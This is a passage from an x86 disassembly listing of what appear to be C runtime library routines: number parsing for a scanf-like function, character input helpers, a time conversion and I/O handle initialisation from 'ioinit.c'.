		jz	short loc_421705
		cmp	[ebp+var_1C], 15Dh
		jle	short loc_42170C


loc_421705:				; CODE XREF: sub_420920+DDAj
		mov	[ebp+var_1C], 15Dh


loc_42170C:				; CODE XREF: sub_420920+DE3j
					; sub_420920+E82j
		cmp	dword_443B70, 1
		jle	short loc_42172E
		push	4
		mov	ecx, [ebp+var_1D8]
		push	ecx
		call	sub_41DA90
		add	esp, 8
		mov	[ebp+var_218], eax
		jmp	short loc_421748
; ---------------------------------------------------------------------------


loc_42172E:				; CODE XREF: sub_420920+DF3j
		mov	edx, [ebp+var_1D8]
		mov	eax, off_443C7C
		xor	ecx, ecx
		mov	cx, [eax+edx*2]
		and	ecx, 4
		mov	[ebp+var_218], ecx


loc_421748:				; CODE XREF: sub_420920+E0Cj
		cmp	[ebp+var_218], 0
		jz	short loc_4217A7
		mov	edx, [ebp+var_1C]
		mov	eax, [ebp+var_1C]
		sub	eax, 1
		mov	[ebp+var_1C], eax
		test	edx, edx
		jz	short loc_4217A7
		mov	ecx, [ebp+var_6C]
		add	ecx, 1
		mov	[ebp+var_6C], ecx
		mov	edx, [ebp+var_1E0]
		mov	al, byte ptr [ebp+var_1D8]
		mov	[edx], al
		mov	ecx, [ebp+var_1E0]
		add	ecx, 1
		mov	[ebp+var_1E0], ecx
		mov	edx, [ebp+var_20]
		add	edx, 1
		mov	[ebp+var_20], edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_421D60
		add	esp, 4
		mov	[ebp+var_1D8], eax
		jmp	loc_42170C
; ---------------------------------------------------------------------------


loc_4217A7:				; CODE XREF: sub_420920+E2Fj
					; sub_420920+E3Fj
		movsx	ecx, byte_443B74
		movsx	edx, byte ptr [ebp+var_1D8]
		cmp	ecx, edx
		jnz	loc_4218A4
		mov	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_1C]
		sub	ecx, 1
		mov	[ebp+var_1C], ecx
		test	eax, eax
		jz	loc_4218A4
		mov	edx, [ebp+var_20]
		add	edx, 1
		mov	[ebp+var_20], edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_421D60
		add	esp, 4
		mov	[ebp+var_1D8], eax
		mov	ecx, [ebp+var_1E0]
		mov	dl, byte_443B74
		mov	[ecx], dl
		mov	eax, [ebp+var_1E0]
		add	eax, 1
		mov	[ebp+var_1E0], eax


loc_421809:				; CODE XREF: sub_420920+F7Fj
		cmp	dword_443B70, 1
		jle	short loc_42182B
		push	4
		mov	ecx, [ebp+var_1D8]
		push	ecx
		call	sub_41DA90
		add	esp, 8
		mov	[ebp+var_21C], eax
		jmp	short loc_421845
; ---------------------------------------------------------------------------


loc_42182B:				; CODE XREF: sub_420920+EF0j
		mov	edx, [ebp+var_1D8]
		mov	eax, off_443C7C
		xor	ecx, ecx
		mov	cx, [eax+edx*2]
		and	ecx, 4
		mov	[ebp+var_21C], ecx


loc_421845:				; CODE XREF: sub_420920+F09j
		cmp	[ebp+var_21C], 0
		jz	short loc_4218A4
		mov	edx, [ebp+var_1C]
		mov	eax, [ebp+var_1C]
		sub	eax, 1
		mov	[ebp+var_1C], eax
		test	edx, edx
		jz	short loc_4218A4
		mov	ecx, [ebp+var_6C]
		add	ecx, 1
		mov	[ebp+var_6C], ecx
		mov	edx, [ebp+var_1E0]
		mov	al, byte ptr [ebp+var_1D8]
		mov	[edx], al
		mov	ecx, [ebp+var_1E0]
		add	ecx, 1
		mov	[ebp+var_1E0], ecx
		mov	edx, [ebp+var_20]
		add	edx, 1
		mov	[ebp+var_20], edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_421D60
		add	esp, 4
		mov	[ebp+var_1D8], eax
		jmp	loc_421809
; ---------------------------------------------------------------------------


loc_4218A4:				; CODE XREF: sub_420920+E97j
					; sub_420920+EABj ...
		cmp	[ebp+var_6C], 0
		jz	loc_421A09
		cmp	[ebp+var_1D8], 65h
		jz	short loc_4218C4
		cmp	[ebp+var_1D8], 45h
		jnz	loc_421A09


loc_4218C4:				; CODE XREF: sub_420920+F95j
		mov	ecx, [ebp+var_1C]
		mov	edx, [ebp+var_1C]
		sub	edx, 1
		mov	[ebp+var_1C], edx
		test	ecx, ecx
		jz	loc_421A09
		mov	eax, [ebp+var_1E0]
		mov	byte ptr [eax],	65h
		mov	ecx, [ebp+var_1E0]
		add	ecx, 1
		mov	[ebp+var_1E0], ecx
		mov	edx, [ebp+var_20]
		add	edx, 1
		mov	[ebp+var_20], edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_421D60
		add	esp, 4
		mov	[ebp+var_1D8], eax
		cmp	[ebp+var_1D8], 2Dh
		jnz	short loc_42192E
		mov	ecx, [ebp+var_1E0]
		mov	byte ptr [ecx],	2Dh
		mov	edx, [ebp+var_1E0]
		add	edx, 1
		mov	[ebp+var_1E0], edx
		jmp	short loc_421937
; ---------------------------------------------------------------------------


loc_42192E:				; CODE XREF: sub_420920+FF2j
		cmp	[ebp+var_1D8], 2Bh
		jnz	short loc_42196D


loc_421937:				; CODE XREF: sub_420920+100Cj
		mov	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_1C]
		sub	ecx, 1
		mov	[ebp+var_1C], ecx
		test	eax, eax
		jnz	short loc_421952
		mov	edx, [ebp+var_1C]
		add	edx, 1
		mov	[ebp+var_1C], edx
		jmp	short loc_42196D
; ---------------------------------------------------------------------------


loc_421952:				; CODE XREF: sub_420920+1025j
		mov	eax, [ebp+var_20]
		add	eax, 1
		mov	[ebp+var_20], eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_421D60
		add	esp, 4
		mov	[ebp+var_1D8], eax


loc_42196D:				; CODE XREF: sub_420920+1015j
					; sub_420920+1030j ...
		cmp	dword_443B70, 1
		jle	short loc_42198F
		push	4
		mov	edx, [ebp+var_1D8]
		push	edx
		call	sub_41DA90
		add	esp, 8
		mov	[ebp+var_220], eax
		jmp	short loc_4219AA
; ---------------------------------------------------------------------------


loc_42198F:				; CODE XREF: sub_420920+1054j
		mov	eax, [ebp+var_1D8]
		mov	ecx, off_443C7C
		xor	edx, edx
		mov	dx, [ecx+eax*2]
		and	edx, 4
		mov	[ebp+var_220], edx


loc_4219AA:				; CODE XREF: sub_420920+106Dj
		cmp	[ebp+var_220], 0
		jz	short loc_421A09
		mov	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_1C]
		sub	ecx, 1
		mov	[ebp+var_1C], ecx
		test	eax, eax
		jz	short loc_421A09
		mov	edx, [ebp+var_6C]
		add	edx, 1
		mov	[ebp+var_6C], edx
		mov	eax, [ebp+var_1E0]
		mov	cl, byte ptr [ebp+var_1D8]
		mov	[eax], cl
		mov	edx, [ebp+var_1E0]
		add	edx, 1
		mov	[ebp+var_1E0], edx
		mov	eax, [ebp+var_20]
		add	eax, 1
		mov	[ebp+var_20], eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_421D60
		add	esp, 4
		mov	[ebp+var_1D8], eax
		jmp	loc_42196D
; ---------------------------------------------------------------------------


loc_421A09:				; CODE XREF: sub_420920+F88j
					; sub_420920+F9Ej ...
		mov	edx, [ebp+var_20]
		sub	edx, 1
		mov	[ebp+var_20], edx
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_1D8]
		push	ecx
		call	sub_421DC0
		add	esp, 8
		cmp	[ebp+var_6C], 0
		jz	short loc_421A63
		movsx	edx, [ebp+var_70]
		test	edx, edx
		jnz	short loc_421A61
		mov	eax, [ebp+var_34]
		add	eax, 1
		mov	[ebp+var_34], eax
		mov	ecx, [ebp+var_1E0]
		mov	byte ptr [ecx],	0
		lea	edx, [ebp+var_1D0]
		push	edx
		mov	eax, [ebp+var_3C]
		push	eax
		movsx	ecx, [ebp+var_38]
		sub	ecx, 1
		push	ecx
		call	off_444250
		add	esp, 0Ch


loc_421A61:				; CODE XREF: sub_420920+1111j
		jmp	short loc_421A68
; ---------------------------------------------------------------------------


loc_421A63:				; CODE XREF: sub_420920+1109j
		jmp	loc_421C0A
; ---------------------------------------------------------------------------


loc_421A68:				; CODE XREF: sub_420920:loc_421A61j
		jmp	short loc_421AB4
; ---------------------------------------------------------------------------


loc_421A6A:				; CODE XREF: sub_420920+3B0j
					; sub_420920+3C4j
					; DATA XREF: ...
		mov	edx, [ebp+arg_4]
		xor	eax, eax
		mov	al, [edx]
		cmp	eax, [ebp+var_1D8]
		jz	short loc_421A9A
		mov	ecx, [ebp+var_20]
		sub	ecx, 1
		mov	[ebp+var_20], ecx
		mov	edx, [ebp+arg_0]
		push	edx
		mov	eax, [ebp+var_1D8]
		push	eax
		call	sub_421DC0
		add	esp, 8
		jmp	loc_421C0A
; ---------------------------------------------------------------------------


loc_421A9A:				; CODE XREF: sub_420920+1157j
		mov	cl, [ebp+var_28]
		sub	cl, 1
		mov	[ebp+var_28], cl
		movsx	edx, [ebp+var_70]
		test	edx, edx
		jnz	short loc_421AB4
		mov	eax, [ebp+var_1D4]
		mov	[ebp+arg_8], eax


loc_421AB4:				; CODE XREF: sub_420920:loc_421116j
					; sub_420920:loc_42167Dj ...
		mov	cl, [ebp+var_28]
		add	cl, 1
		mov	[ebp+var_28], cl
		jmp	short loc_421AE0
; ---------------------------------------------------------------------------


loc_421ABF:				; CODE XREF: sub_420920+38Bj
		mov	edx, [ebp+var_20]
		sub	edx, 1
		mov	[ebp+var_20], edx
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_1D8]
		push	ecx
		call	sub_421DC0
		add	esp, 8
		jmp	loc_421C0A
; ---------------------------------------------------------------------------


loc_421AE0:				; CODE XREF: sub_420920+119Dj
		mov	edx, [ebp+arg_4]
		add	edx, 1
		mov	[ebp+arg_4], edx
		jmp	loc_421BE1
; ---------------------------------------------------------------------------


loc_421AEE:				; CODE XREF: sub_420920+11Dj
		mov	eax, [ebp+var_20]
		add	eax, 1
		mov	[ebp+var_20], eax
		mov	ecx, [ebp+arg_4]
		xor	edx, edx
		mov	dl, [ecx]
		mov	esi, edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_421D60
		add	esp, 4
		mov	[ebp+var_1D8], eax
		mov	ecx, [ebp+var_1D8]
		mov	edx, [ebp+arg_4]
		add	edx, 1
		mov	[ebp+arg_4], edx
		cmp	esi, ecx
		jz	short loc_421B46
		mov	eax, [ebp+var_20]
		sub	eax, 1
		mov	[ebp+var_20], eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+var_1D8]
		push	edx
		call	sub_421DC0
		add	esp, 8
		jmp	loc_421C0A
; ---------------------------------------------------------------------------


loc_421B46:				; CODE XREF: sub_420920+1203j
		mov	eax, [ebp+var_1D8]
		and	eax, 0FFh
		mov	ecx, off_443C7C
		xor	edx, edx
		mov	dx, [ecx+eax*2]
		and	edx, 8000h
		test	edx, edx
		jz	short loc_421BE1
		mov	eax, [ebp+var_20]
		add	eax, 1
		mov	[ebp+var_20], eax
		mov	ecx, [ebp+arg_4]
		xor	edx, edx
		mov	dl, [ecx]
		mov	esi, edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_421D60
		add	esp, 4
		mov	[ebp+var_1F4], eax
		mov	ecx, [ebp+var_1F4]
		mov	edx, [ebp+arg_4]
		add	edx, 1
		mov	[ebp+arg_4], edx
		cmp	esi, ecx
		jz	short loc_421BD8
		mov	eax, [ebp+var_20]
		sub	eax, 1
		mov	[ebp+var_20], eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+var_1F4]
		push	edx
		call	sub_421DC0
		add	esp, 8
		mov	eax, [ebp+var_20]
		sub	eax, 1
		mov	[ebp+var_20], eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+var_1D8]
		push	edx
		call	sub_421DC0
		add	esp, 8
		jmp	short loc_421C0A
; ---------------------------------------------------------------------------


loc_421BD8:				; CODE XREF: sub_420920+127Cj
		mov	eax, [ebp+var_20]
		sub	eax, 1
		mov	[ebp+var_20], eax


loc_421BE1:				; CODE XREF: sub_420920+11C9j
					; sub_420920+1245j
		cmp	[ebp+var_1D8], 0FFFFFFFFh
		jnz	short loc_421C05
		mov	ecx, [ebp+arg_4]
		xor	edx, edx
		mov	dl, [ecx]
		cmp	edx, 25h
		jnz	short loc_421C03
		mov	eax, [ebp+arg_4]
		xor	ecx, ecx
		mov	cl, [eax+1]
		cmp	ecx, 6Eh
		jz	short loc_421C05


loc_421C03:				; CODE XREF: sub_420920+12D4j
		jmp	short loc_421C0A
; ---------------------------------------------------------------------------


loc_421C05:				; CODE XREF: sub_420920+12C8j
					; sub_420920+12E1j
		jmp	loc_420997
; ---------------------------------------------------------------------------


loc_421C0A:				; CODE XREF: sub_420920+80j
					; sub_420920+635j ...
		cmp	[ebp+var_1D8], 0FFFFFFFFh
		jnz	short loc_421C3E
		cmp	[ebp+var_34], 0
		jnz	short loc_421C2D
		movsx	edx, [ebp+var_28]
		test	edx, edx
		jnz	short loc_421C2D
		mov	[ebp+var_224], 0FFFFFFFFh
		jmp	short loc_421C36
; ---------------------------------------------------------------------------


loc_421C2D:				; CODE XREF: sub_420920+12F7j
					; sub_420920+12FFj
		mov	eax, [ebp+var_34]
		mov	[ebp+var_224], eax


loc_421C36:				; CODE XREF: sub_420920+130Bj
		mov	eax, [ebp+var_224]
		jmp	short loc_421C41
; ---------------------------------------------------------------------------


loc_421C3E:				; CODE XREF: sub_420920+12F1j
		mov	eax, [ebp+var_34]


loc_421C41:				; CODE XREF: sub_420920+131Cj
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_420920	endp

; ---------------------------------------------------------------------------
off_421C48	dd offset loc_420BDA	; DATA XREF: sub_420920+239r
		dd offset loc_420B60
		dd offset loc_420B78
		dd offset loc_420BBC
		dd offset loc_420B65
		dd offset loc_420BC7
		dd offset loc_420BCF
		dd offset loc_420BE5
byte_421C68	db 0			; DATA XREF: sub_420920+233r
		db 3 dup(7)
		dd 6 dup(7070707h), 2070701h, 7030707h,	7070701h, 5 dup(7070707h)
		dd 7040707h, 7050707h, 2 dup(7070707h)
		db 7, 6
off_421CB6	dd offset loc_420CEB	; DATA XREF: sub_420920+3C4r
		dd offset loc_421224
		dd offset loc_421697
		dd offset loc_42111B
		dd offset loc_421682
		dd offset loc_421220
		dd offset loc_420D31
		dd offset loc_421122
		dd offset loc_420D56
		dd offset loc_421A6A
byte_421CDE	db 0			; DATA XREF: sub_420920+3BEr
		db 1
		dd 9020202h, 9090903h, 5010409h, 9060909h, 7090901h, 0CC080909h
		dd 2 dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421D00	proc near		; CODE XREF: sub_420920+9E9p
					; sub_420920+BCCp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		cmp	dword_443B70, 1
		jle	short loc_421D22
		push	4
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_41DA90
		add	esp, 8
		mov	[ebp+var_4], eax
		jmp	short loc_421D37
; ---------------------------------------------------------------------------


loc_421D22:				; CODE XREF: sub_421D00+Dj
		mov	ecx, [ebp+arg_0]
		mov	edx, off_443C7C
		xor	eax, eax
		mov	ax, [edx+ecx*2]
		and	eax, 4
		mov	[ebp+var_4], eax


loc_421D37:				; CODE XREF: sub_421D00+20j
		cmp	[ebp+var_4], 0
		jz	short loc_421D45
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_8], ecx
		jmp	short loc_421D51
; ---------------------------------------------------------------------------


loc_421D45:				; CODE XREF: sub_421D00+3Bj
		mov	edx, [ebp+arg_0]
		and	edx, 0FFFFFFDFh
		sub	edx, 7
		mov	[ebp+var_8], edx


loc_421D51:				; CODE XREF: sub_421D00+43j
		mov	eax, [ebp+var_8]
		mov	esp, ebp
		pop	ebp
		retn
sub_421D00	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421D60	proc near		; CODE XREF: sub_420920+370p
					; sub_420920+698p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+4]
		sub	ecx, 1
		mov	edx, [ebp+arg_0]
		mov	[edx+4], ecx
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+4], 0
		jl	short loc_421D9B
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		movsx	eax, byte ptr [edx]
		and	eax, 0FFh
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		add	edx, 1
		mov	eax, [ebp+arg_0]
		mov	[eax], edx
		jmp	short loc_421DAA
; ---------------------------------------------------------------------------


loc_421D9B:				; CODE XREF: sub_421D60+1Aj
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_41DB50
		add	esp, 4
		mov	[ebp+var_4], eax


loc_421DAA:				; CODE XREF: sub_421D60+39j
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_421D60	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421DC0	proc near		; CODE XREF: sub_420920+ECp
					; sub_420920+666p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_0], 0FFFFFFFFh
		jz	short loc_421DD9
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_428D70
		add	esp, 8


loc_421DD9:				; CODE XREF: sub_421DC0+7j
		pop	ebp
		retn
sub_421DC0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421DE0	proc near		; CODE XREF: sub_420920+E3p
					; sub_420920+353p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx


loc_421DE4:				; CODE XREF: sub_421DE0+30j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		add	ecx, 1
		mov	edx, [ebp+arg_0]
		mov	[edx], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		call	sub_421D60
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_428A50
		add	esp, 4
		test	eax, eax
		jz	short loc_421E12
		jmp	short loc_421DE4
; ---------------------------------------------------------------------------


loc_421E12:				; CODE XREF: sub_421DE0+2Ej
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_421DE0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421E20	proc near		; CODE XREF: sub_418BB0+161p

var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		mov	eax, [ebp+arg_0]
		sub	eax, 76Ch
		mov	[ebp+arg_0], eax
		cmp	[ebp+arg_0], 46h
		jl	short loc_421E40
		cmp	[ebp+arg_0], 8Ah
		jle	short loc_421E48


loc_421E40:				; CODE XREF: sub_421E20+15j
		or	eax, 0FFFFFFFFh
		jmp	loc_421F0A
; ---------------------------------------------------------------------------


loc_421E48:				; CODE XREF: sub_421E20+1Ej
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+arg_8]
		add	edx, dword_4445C4[ecx*4]
		mov	[ebp+var_2C], edx
		mov	eax, [ebp+arg_0]
		and	eax, 3
		test	eax, eax
		jnz	short loc_421E71
		cmp	[ebp+arg_4], 2
		jle	short loc_421E71
		mov	ecx, [ebp+var_2C]
		add	ecx, 1
		mov	[ebp+var_2C], ecx


loc_421E71:				; CODE XREF: sub_421E20+40j
					; sub_421E20+46j
		mov	edx, [ebp+arg_0]
		sub	edx, 46h
		imul	edx, 16Dh
		mov	eax, [ebp+arg_0]
		sub	eax, 1
		sar	eax, 2
		mov	ecx, [ebp+var_2C]
		add	ecx, edx
		lea	edx, [eax+ecx-11h]
		imul	edx, 18h
		add	edx, [ebp+arg_C]
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_4]
		imul	eax, 3Ch
		add	eax, [ebp+arg_10]
		imul	eax, 3Ch
		add	eax, [ebp+arg_14]
		mov	[ebp+var_4], eax
		call	sub_428EB0
		mov	ecx, [ebp+var_4]
		add	ecx, dword_4444E0
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_2C]
		mov	[ebp+var_C], edx
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_14], eax
		mov	ecx, [ebp+arg_4]
		sub	ecx, 1
		mov	[ebp+var_18], ecx
		mov	edx, [ebp+arg_C]
		mov	[ebp+var_20], edx
		cmp	[ebp+arg_18], 1
		jz	short loc_421EFB
		cmp	[ebp+arg_18], 0FFFFFFFFh
		jnz	short loc_421F07
		cmp	dword_4444E4, 0
		jz	short loc_421F07
		lea	eax, [ebp+var_28]
		push	eax
		call	sub_4292C0
		add	esp, 4
		test	eax, eax
		jz	short loc_421F07


loc_421EFB:				; CODE XREF: sub_421E20+BAj
		mov	ecx, [ebp+var_4]
		add	ecx, dword_4444E8
		mov	[ebp+var_4], ecx


loc_421F07:				; CODE XREF: sub_421E20+C0j
					; sub_421E20+C9j ...
		mov	eax, [ebp+var_4]


loc_421F0A:				; CODE XREF: sub_421E20+23j
		mov	esp, ebp
		pop	ebp
		retn
sub_421E20	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		sub	esp, 6Ch
		push	81h
		push	offset aIoinit_c ; "ioinit.c"
		push	2
		push	480h
		call	sub_414DD0
		add	esp, 10h
		mov	[ebp-50h], eax
		cmp	dword ptr [ebp-50h], 0
		jnz	short loc_421F42
		push	1Bh
		call	sub_41A9A0
		add	esp, 4


loc_421F42:				; CODE XREF: ___:00421F36j
		mov	eax, [ebp-50h]
		mov	dword_4DB460, eax
		mov	dword_4DB560, 20h
		jmp	short loc_421F5F
; ---------------------------------------------------------------------------


loc_421F56:				; CODE XREF: ___:00421F91j
		mov	ecx, [ebp-50h]
		add	ecx, 24h
		mov	[ebp-50h], ecx


loc_421F5F:				; CODE XREF: ___:00421F54j
		mov	edx, dword_4DB460
		add	edx, 480h
		cmp	[ebp-50h], edx
		jnb	short loc_421F93
		mov	eax, [ebp-50h]
		mov	byte ptr [eax+4], 0
		mov	ecx, [ebp-50h]
		mov	dword ptr [ecx], 0FFFFFFFFh
		mov	edx, [ebp-50h]
		mov	byte ptr [edx+5], 0Ah
		mov	eax, [ebp-50h]
		mov	dword ptr [eax+8], 0
		jmp	short loc_421F56
; ---------------------------------------------------------------------------


loc_421F93:				; CODE XREF: ___:00421F6Ej
		lea	ecx, [ebp-48h]
		push	ecx
		nop
		call	near ptr 2850000h
		mov	edx, [ebp-16h]
		and	edx, 0FFFFh
		test	edx, edx
		jz	loc_422135
		cmp	dword ptr [ebp-14h], 0
		jz	loc_422135
		mov	eax, [ebp-14h]
		mov	ecx, [eax]
		mov	[ebp-64h], ecx
		mov	edx, [ebp-14h]
		add	edx, 4
		mov	[ebp-4], edx
		mov	eax, [ebp-4]
		add	eax, [ebp-64h]
		mov	[ebp-60h], eax
		cmp	dword ptr [ebp-64h], 800h
		jge	short loc_421FE3
		mov	ecx, [ebp-64h]
		mov	[ebp-68h], ecx
		jmp	short loc_421FEA
; ---------------------------------------------------------------------------


loc_421FE3:				; CODE XREF: ___:00421FD9j
		mov	dword ptr [ebp-68h], 800h


loc_421FEA:				; CODE XREF: ___:00421FE1j
		mov	edx, [ebp-68h]
		mov	[ebp-64h], edx
		mov	dword ptr [ebp-5Ch], 1
		jmp	short loc_422002
; ---------------------------------------------------------------------------


loc_421FF9:				; CODE XREF: ___:loc_42209Dj
		mov	eax, [ebp-5Ch]
		add	eax, 1
		mov	[ebp-5Ch], eax


loc_422002:				; CODE XREF: ___:00421FF7j
		mov	ecx, dword_4DB560
		cmp	ecx, [ebp-64h]
		jge	loc_4220A2
		push	0B6h
		push	offset aIoinit_c ; "ioinit.c"
		push	2
		push	480h
		call	sub_414DD0
		add	esp, 10h
		mov	[ebp-50h], eax
		cmp	dword ptr [ebp-50h], 0
		jnz	short loc_42203E
		mov	edx, dword_4DB560
		mov	[ebp-64h], edx
		jmp	short loc_4220A2
; ---------------------------------------------------------------------------


loc_42203E:				; CODE XREF: ___:00422031j
		mov	eax, [ebp-5Ch]
		mov	ecx, [ebp-50h]
		mov	dword_4DB460[eax*4], ecx
		mov	edx, dword_4DB560
		add	edx, 20h
		mov	dword_4DB560, edx
		jmp	short loc_422065
; ---------------------------------------------------------------------------


loc_42205C:				; CODE XREF: ___:0042209Bj
		mov	eax, [ebp-50h]
		add	eax, 24h
		mov	[ebp-50h], eax


loc_422065:				; CODE XREF: ___:0042205Aj
		mov	ecx, [ebp-5Ch]
		mov	edx, dword_4DB460[ecx*4]
		add	edx, 480h
		cmp	[ebp-50h], edx
		jnb	short loc_42209D
		mov	eax, [ebp-50h]
		mov	byte ptr [eax+4], 0
		mov	ecx, [ebp-50h]
		mov	dword ptr [ecx], 0FFFFFFFFh
		mov	edx, [ebp-50h]
		mov	byte ptr [edx+5], 0Ah
		mov	eax, [ebp-50h]
		mov	dword ptr [eax+8], 0
		jmp	short loc_42205C
; ---------------------------------------------------------------------------


loc_42209D:				; CODE XREF: ___:00422078j
		jmp	loc_421FF9
; ---------------------------------------------------------------------------


loc_4220A2:				; CODE XREF: ___:0042200Bj
					; ___:0042203Cj
		mov	dword ptr [ebp-58h], 0
		jmp	short loc_4220C6
; ---------------------------------------------------------------------------


loc_4220AB:				; CODE XREF: ___:loc_422130j
		mov	ecx, [ebp-58h]
		add	ecx, 1
		mov	[ebp-58h], ecx
		mov	edx, [ebp-4]
		add	edx, 1
		mov	[ebp-4], edx
		mov	eax, [ebp-60h]
		add	eax, 4
		mov	[ebp-60h], eax


loc_4220C6:				; CODE XREF: ___:004220A9j
		mov	ecx, [ebp-58h]
		cmp	ecx, [ebp-64h]
		jge	short loc_422135
		mov	edx, [ebp-60h]
		cmp	dword ptr [edx], 0FFFFFFFFh
		jz	short loc_422130
		mov	eax, [ebp-4]
		movsx	ecx, byte ptr [eax]
		and	ecx, 1
		test	ecx, ecx
		jz	short loc_422130
		mov	edx, [ebp-4]
		movsx	eax, byte ptr [edx]
		and	eax, 8
		test	eax, eax
		jnz	short loc_422100
		mov	ecx, [ebp-60h]
		mov	edx, [ecx]
		push	edx
		call	near ptr 28C0000h
		nop
		test	eax, eax
		jz	short loc_422130


loc_422100:				; CODE XREF: ___:004220EEj
		mov	eax, [ebp-58h]
		sar	eax, 5
		mov	ecx, [ebp-58h]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	edx, dword_4DB460[eax*4]
		add	edx, ecx
		mov	[ebp-50h], edx
		mov	eax, [ebp-50h]
		mov	ecx, [ebp-60h]
		mov	edx, [ecx]
		mov	[eax], edx
		mov	eax, [ebp-50h]
		mov	ecx, [ebp-4]
		mov	dl, [ecx]
		mov	[eax+4], dl


loc_422130:				; CODE XREF: ___:004220D4j
					; ___:004220E1j ...
		jmp	loc_4220AB
; ---------------------------------------------------------------------------


loc_422135:				; CODE XREF: ___:00421FA8j
					; ___:00421FB2j ...
		mov	dword ptr [ebp-58h], 0
		jmp	short loc_422147
; ---------------------------------------------------------------------------


loc_42213E:				; CODE XREF: ___:loc_42221Fj
		mov	eax, [ebp-58h]
		add	eax, 1
		mov	[ebp-58h], eax


loc_422147:				; CODE XREF: ___:0042213Cj
		cmp	dword ptr [ebp-58h], 3
		jge	loc_422224
		mov	ecx, [ebp-58h]
		imul	ecx, 24h
		mov	edx, dword_4DB460
		add	edx, ecx
		mov	[ebp-50h], edx
		mov	eax, [ebp-50h]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	loc_422210
		mov	ecx, [ebp-50h]
		mov	byte ptr [ecx+4], 81h
		cmp	dword ptr [ebp-58h], 0
		jnz	short loc_422184
		mov	dword ptr [ebp-6Ch], 0FFFFFFF6h
		jmp	short loc_422194
; ---------------------------------------------------------------------------


loc_422184:				; CODE XREF: ___:00422179j
		mov	edx, [ebp-58h]
		sub	edx, 1
		neg	edx
		sbb	edx, edx
		add	edx, 0FFFFFFF5h
		mov	[ebp-6Ch], edx


loc_422194:				; CODE XREF: ___:00422182j
		mov	eax, [ebp-6Ch]
		push	eax
		call	near ptr 2860000h
		nop
		mov	[ebp-4Ch], eax
		cmp	dword ptr [ebp-4Ch], 0FFFFFFFFh
		jz	short loc_4221FF
		mov	ecx, [ebp-4Ch]
		push	ecx
		nop
		call	near ptr 28C0000h
		mov	[ebp-54h], eax
		cmp	dword ptr [ebp-54h], 0
		jz	short loc_4221FF
		mov	edx, [ebp-50h]
		mov	eax, [ebp-4Ch]
		mov	[edx], eax
		mov	ecx, [ebp-54h]
		and	ecx, 0FFh
		cmp	ecx, 2
		jnz	short loc_4221E0
		mov	edx, [ebp-50h]
		mov	al, [edx+4]
		or	al, 40h
		mov	ecx, [ebp-50h]
		mov	[ecx+4], al
		jmp	short loc_4221FD
; ---------------------------------------------------------------------------


loc_4221E0:				; CODE XREF: ___:004221CEj
